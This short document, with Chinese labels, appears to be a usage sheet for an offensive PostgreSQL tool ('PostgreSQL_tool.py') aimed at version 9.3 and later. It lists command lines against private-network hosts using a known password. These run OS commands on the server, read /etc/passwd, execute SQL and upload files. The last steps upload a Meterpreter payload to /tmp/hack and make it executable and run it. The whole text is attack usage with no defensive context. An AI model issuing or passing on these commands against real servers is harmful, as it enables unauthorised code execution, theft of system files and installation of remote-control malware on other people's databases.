适用版本:PostgreSQL >= 9.3
python3 'PostgreSQL_tool.py' --host "192.168.163.154" -w "123456" -m "rce" -c "ipconfig" -e "GBK"python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "rce" -c "id" -e "UTF8"python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "read" -s "/etc/passwd" -e "UTF8"python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "sql" -c "show server_version;" -e "UTF8"python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "text_upload" -s "this is test" -t "/tmp/1.txt"
# python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "rce" -c "cat /tmp/1.txt" -e "UTF8"上传:
python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "bin_upload" -s "/tmp/meterpreter" -t "/tmp/hack"执行:
python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "rce" -c "chmod +x /tmp/hack;/tmp/hack" -e "UTF8"





